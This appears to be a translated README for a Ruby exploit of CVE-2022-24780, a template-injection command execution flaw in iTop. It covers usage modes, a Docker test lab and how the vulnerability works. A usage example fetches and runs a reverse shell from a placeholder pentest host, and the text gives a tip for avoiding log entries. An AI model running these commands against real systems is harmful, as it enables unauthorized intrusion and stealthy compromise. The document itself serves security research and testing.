iTop < 2.7.6 - (经过身份验证的)远程命令执行
CVE-2022-24780 的漏洞利用。
[EDB-TODO] [PacketStorm] [WLB-2022050075]
$ ruby exploit.rb -h
iTop < 2.7.6 - (经过身份验证的)远程命令执行
用法:
exploit.rb full <url> <username> <password> <cmd> [--debug]
exploit.rb light <url> <username> <password> <cmd> [--debug]
exploit.rb -h | --help
full:使用模拟浏览器执行 JavaScript,保留原始用户档案信息
light:仅解析 HTML 并发送请求,不执行 JavaScript,(破坏性)重置用户信息:电话、地点、职能
选项:
<url> 根 URL(基础路径),包括 HTTP 方案、端口和根文件夹
<username> iTop 门户用户名
<password> iTop 门户用户密码
<cmd> 要在目标上执行的命令
--debug 显示参数
-h, --help 显示此屏幕
示例:
exploit.rb full http://example.org john 's9nvEIZnEo6ghi' 'echo proof > /var/www/html/proof.txt'
exploit.rb light https://example.org:5000/itop john 's9nvEIZnEo6ghi' 'curl --remote-name http://pentest.example.com:7000/revshell.pl; perl revshell.pl'
完整风格的漏洞利用使用 Watir,通过 Selenium 驱动的 Web 浏览器模拟用户浏览。这是为了保留用户信息所必需的。漏洞利用将 SSTI 有效载荷注入到用于修改门户用户档案上用户信息的表单的子部分中。虽然某些值可以硬编码或从 HTML 中检索,但其他值(电话、地点、职能)是通过 JavaScript 动态加载并注入到 HTML 中的。因此,为了使漏洞利用不具破坏性,需要执行 JavaScript 才能检索这些值。
轻量风格的漏洞利用则没那么讲究,它会破坏性地将某些用户信息字段(电话、地点、职能)设置为空值。但此风格执行更快,依赖更少,不执行任何 JavaScript,并且不需要 X 环境(Watir 需要运行 Web 浏览器)。
简单版:安装所有 bundle install
完整风格
使用 gem 的示例:
gem install httpx docopt watir webdrivers
轻量风格
使用 gem 的示例:
gem install httpx docopt nokogiri
不建议使用包含双引号(")或反斜杠(\)的有效载荷,因为有效载荷会被注入到 JSON 中。
警告:此容器不适合生产环境使用!
使用 vbkunin/itop:2.7.4 - 来源 - Docker Hub
$ docker run -d -p 8000:80 --name=itop-CVE-2022-24780 vbkunin/itop:2.7.4
该漏洞由 Markus KRELL 发现。
发现者对该漏洞的分析:
ACCEIS 不促进或鼓励任何非法活动,此仓库提供的所有内容仅用于研究、教育和威胁检测目的。
作为安全审计员(或任何其他白帽子角色),一方面您希望运行漏洞利用脚本来验证基于您识别的应用程序版本号的理论漏洞的实际可利用性,但另一方面您希望在不产生破坏性操作的情况下正确执行,以便客户应用程序保持与最初发现时相同的状态。
例如,此漏洞发生在用户档案页面上,因此有一个表单,其中包含用户已填充的信息:名、姓、组织 ID、电子邮件、电话、地点 ID、职能、经理 ID。要使攻击成功,您只需覆盖易受攻击的字段,并将其他字段填充为空值,如果它们是必填字段则填充随机值。这就是轻量风格的漏洞利用所做的。但这样做会破坏该用户的实际信息;在测试环境中这不是问题,但在生产环境中却是一个实际问题。黑帽子不会关心这些,但作为白帽子,我们必须保护数据。因此解决方案是获取实际数据并在我们的 POST 请求中重复使用它们。
在传统 Web 应用程序中,通常只需直接构造一个带有正确参数并针对易受攻击端点的 POST 请求。有时需要处理会话/cookie、重定向、一些可能需要的先前状态、获取某些 ID 或 anti-CSRF 令牌,但所有这些都可以通过任何语言的 HTTP 库轻松实现。
为了检索实际数据,当表单中的数据来自:
在一些现代 Web 应用程序上,情况会变得稍微棘手,因为许多值是通过复杂的 JavaScript 操作设置的。这时您不能仅仅通过解析 HTML 或请求 REST API 来获取数据,也无法直接从 JavaScript 文件中检索值,或者解析几行并重新计算一个值。当 JavaScript 计算非常复杂、涉及多个不同的 JS 文件,或者 JavaScript 源代码被混淆或打包时,逆向工程机制并提取值将需要太多的精力和时间。在这种情况下,您实际上必须与应用程序的 JavaScript 进行交互。但一个仅需要 HTTP 库的经典漏洞利用脚本(单独)做不到这一点!
手动利用漏洞很容易:您只需浏览应用程序,让浏览器处理所有 JavaScript,设置像 Burp Suite 这样的拦截代理以便在请求发送前修改它,就可以了。但以自动化方式执行相同操作要困难得多。为了与 JavaScript 交互并执行它,我们需要一个无头浏览器(可能需也可能不需要显示环境)和一个用户模拟库。幸运的是,已经有高级功能测试库可以用来驱动无头浏览器。最著名的是 Selenium,但还有 Cypress。在测试套件之外,还有提供更通用自动化的库,如 Playwright 或 Puppeteer。无论哪种情况,都使用一种模仿用户行为的 DSL,就像用户正在使用应用程序一样,因此我们编写的代码会告诉浏览器“点击这里”、“在我的名字字段中输入我的名字”、“点击这个链接”等。测试框架的限制是它们只允许您做普通用户会做的事情,例如普通用户不会获取脚本标签或隐藏字段的内容,所以您也不能这样做。它们也旨在获取值并与期望值进行比较,而不是设置值。此外,使用无头浏览器执行速度要慢得多,并且可能需要一些冗长的 DSL 编写。因此,我们最终希望尽可能少地使用无头浏览器和测试框架。
轻量风格的漏洞利用所做的是:连接到应用程序,获取用户档案表单以检索所有可能的值,对电话号码、地点 ID 和职能使用空值,然后发送漏洞利用。
然而,完整风格的漏洞利用所做的是:连接到应用程序,获取用户档案表单以检索所有可能的值,然后使用无头浏览器连接、获取用户档案表单以检索三个由 JavaScript 设置的值,然后发送漏洞利用。过程基本相同,只是我们不对由 JavaScript 填充的数据字段使用空值,而是通过执行填充这些值的 JavaScript 的无头浏览器实际检索它们。技术上也可以 100% 仅使用无头浏览器编写漏洞利用,但我们将面临前面讨论的限制,这就是为什么我选择混合方法,尽可能少地使用无头浏览器。
漏洞 CVE-2022-24780 的发现者 Markus KRELL 写了一篇详细的分析博客文章:iTop – 客户门户内的模板注入。
简而言之,漏洞发生在用户档案更改时。当用户提交表单以更新其信息时,它会发送一个巨大的 JSON 对象,其中包含后端的各种元数据,但要更新的用户数据以 XHTML 形式存储在 JSON 的 formproperties.layout.content 子节点中。但 Markus 在源代码中发现,formproperties.layout.type 可以接受 XHTML 或 Twig。当然,当他看到提到了 Twig,他立即想到了潜在的 SSTI。因此,他尝试了内容中的每个字段以找出易受攻击的字段,发现 data-field-id 和 data-field-flags 属性是可注入的。然后可以使用经典的 Twig 模板注入有效载荷。此外,作为一个额外发现,他发现在表达式后追加 |join(',') 可以将结果数组转换为字符串,从而避免在 iTop 日志中留下条目,使攻击更隐蔽。